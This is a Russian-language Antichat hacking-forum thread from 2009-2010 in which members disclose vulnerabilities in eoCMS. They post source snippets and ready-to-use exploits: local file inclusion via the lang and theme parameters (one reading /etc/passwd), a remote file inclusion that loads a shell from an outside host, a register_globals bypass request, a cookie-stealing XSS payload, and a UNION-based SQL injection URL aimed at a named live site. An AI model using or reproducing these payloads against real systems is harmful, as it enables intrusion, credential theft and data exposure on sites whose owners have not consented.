ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости eoCMS
  #1  
Старый 13.10.2009, 20:25
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 576
С нами: 9030566

Репутация: 2017


По умолчанию Уязвимости eoCMS

Офф сайт: _http://eocms.com/

LFI


В файле Index.php
PHP код:
if(defined('COOKIE_LANG'))
    
$lang_path = COOKIE_LANG;
if(isset(
$settings['site_lang']))
    
$lang_path = $settings['site_lang'];
if(isset(
$user['lang']))
    
$lang_path = $user['lang'];
if(isset(
$_GET['lang']))
    
$lang_path = $_GET['lang'];
if(!isset(
$lang_path))
    
$lang_path = 'en';
# include actual language files
include_once(IN_PATH.'language/' . $lang_path . '/' . $lang_file);
include_once(
IN_PATH.'language/' . $lang_path . '/functions.php');
include_once(
IN_PATH.'language/' . $lang_path . '/panel.php'); 
_http://eocms.com/index.php?lang='
ЗЫ да со скулями поторопился

Последний раз редактировалось HAXTA4OK; 14.10.2009 в 20:01..
 
Ответить с цитированием

  #2  
Старый 14.10.2009, 19:48
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами: 9454841

Репутация: 504


По умолчанию

Цитата:
Сообщение от HAXTA4OK  
...
слушай, а ты пробовал использовать те дыры что нашел? и в какой версии eoCMS ты их нашел? так как сообщение было написано вчера, то я думаю, что это была версия v0.9.01. а если я прав то как бы вот кусок кода из framewok.php (он инклудится в самом начале index.php)
PHP код:
  /************************
   ** Clean superglobals **
   ************************/
function Sanitize($data_to_sanitize) {
    if (
get_magic_quotes_gpc())
        
$data_to_sanitize = stripslashes($data_to_sanitize); 
    
$data_to_sanitize = htmlspecialchars($data_to_sanitize, ENT_QUOTES);
    
$data_to_sanitize = addslashes($data_to_sanitize);
    return 
$data_to_sanitize;
}
function 
Sanitize_Array($value) {
    
$value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value);
    return 
$value;
}
$_POST = array_map('Sanitize_Array', $_POST);
$_GET = array_map('Sanitize_Array', $_GET);
$_COOKIE = array_map('Sanitize_Array', $_COOKIE);
$_REQUEST = array_map('Sanitize_Array', $_REQUEST);
$_SERVER = array_map('Sanitize_Array', $_SERVER);
$_FILES = array_map('Sanitize_Array', $_FILES); 

Последний раз редактировалось gisTy; 14.10.2009 в 19:56..
 
Ответить с цитированием

  #3  
Старый 14.10.2009, 20:18
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 576
С нами: 9030566

Репутация: 2017


По умолчанию

Цитата:
Сообщение от gisTy  
где именно? там максимум чего можно добиться через то, что ты выложил- это Full Path Disclosure (раскрытие путей)
ну извени если там null- byte не канает и для тебя ошибка

Warning: include_once() [function.include]: Failed opening '/home/garbages/public_html/eocms.com/language/jhgj\0//Pages.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/garbages/public_html/eocms.com/index.php on line 118

это тока раскрытие путей тогда я не знаю.....

PS то что выкладывал скули , они есть но вот реализовать их либо тяжело .либо ни как, пока не пытался

Последний раз редактировалось HAXTA4OK; 14.10.2009 в 20:32..
 
Ответить с цитированием

  #4  
Старый 16.10.2009, 01:47
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

Remote File Inclusion
Требования: register_globals = on
Файл: js/bbcodepress/bbcode-form.php

PHP код:
include_once($BBCODE_path . 'bbcodepress/bbcodepress-lite.php'); 
www.example.com/js/bbcodepress/bbcode-form.php?BBCODE_path=http://www.site.com/shell.txt?
 
Ответить с цитированием

  #5  
Старый 16.10.2009, 03:42
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
С нами: 9521666

Репутация: 1695
По умолчанию

Вот ещё чуть:
---------------------------------------
Бага: обход unregister_globals и раскрытие пути
Условия: register_globals = ON

>> framework.php

PHP код:
function unregister_globals(){

#checks if register globals is on

    
if (!ini_get('register_globals')){

        return 
false;

    }

    foreach (
func_get_args() as $name){

        foreach (
$GLOBALS[$name] as $key=>$value){
            if (isset(
$GLOBALS[$key])) {

                unset(
$GLOBALS[$key]);

            }        
        }

    }

}
unregister_globals('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', '_SESSION'); 
В результате все перменные посланные данными методами удаляются из GLOBALS;
Но если сделать запрос:

Код:
POST /index.php?antichat=test HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

_GET=this del&_REQUEST=this del
Функция unregister_globals сначало удалит, масив _GET, потом _REQUEST, а переменная antichat будет жить)


-------------------------------
Бага: LFI
Условия: magic_quites = Off

>> framework.php

PHP код:
if(isset($_GET['theme']) && file_exists('themes/'.$_GET['theme'].'/theme-info.php'))

    
$settings['site_theme'] = $_GET['theme'];

~~~~~~~~~~~~~~~~~~~~

function 
theme() {

   global 
$user, $settings;

   
$arg = func_get_args();

   
$num = func_num_args();

   if(
file_exists('themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php'))

       include_once 
IN_PATH.'themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php'; 
Этот код выполняется до того как переменные обрабатываются через addslashes

exploit:
http://eocms/index.php?theme=../../../../../../../etc/passwd%00

------------------------------

Бага: XSS
Условия: register_globals = ON

exploit:
Код:
POST /index.php?error_die[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

_GET=this del&_REQUEST=this del

Последний раз редактировалось (Dm); 16.10.2009 в 03:45..
 
Ответить с цитированием

  #6  
Старый 16.11.2010, 17:58
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 0
С нами: 10992741

Репутация: 0
По умолчанию

eoCMS

http://eocms.com/

SQL Injection:

/VewBoard.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

[/
COLOR][COLOR="#0000BB"]$bcrumb[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]call[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'sql_query'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"SELECT id, board_name, post_group, visible FROM forum_boards WHERE id='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]);

...[/
COLOR][/COLOR] 
Пример одного сайта:

Код:
http://garbagespot.com/index.php?act=viewboard&id=1+union+select+1--+
Путь:

Код:
http://localhost/index.php?act[]=
http://localhost/index.php?act=viewboard&id='
Многие места так же уязвимы к SQL inj.

​
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Уязвимости CMS / форумов 167 17.10.2019 18:14
Переполнение буфера в Kaspersky Anti-Virus bul666 Мировые новости. Обсуждения. 9 15.08.2009 15:08
Перевод описания плагинов w3af Kuzya Статьи 4 07.06.2009 09:13
63% web-сайтов содержат опасные уязвимости Suicide Мировые новости. Обсуждения. 4 24.05.2009 21:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.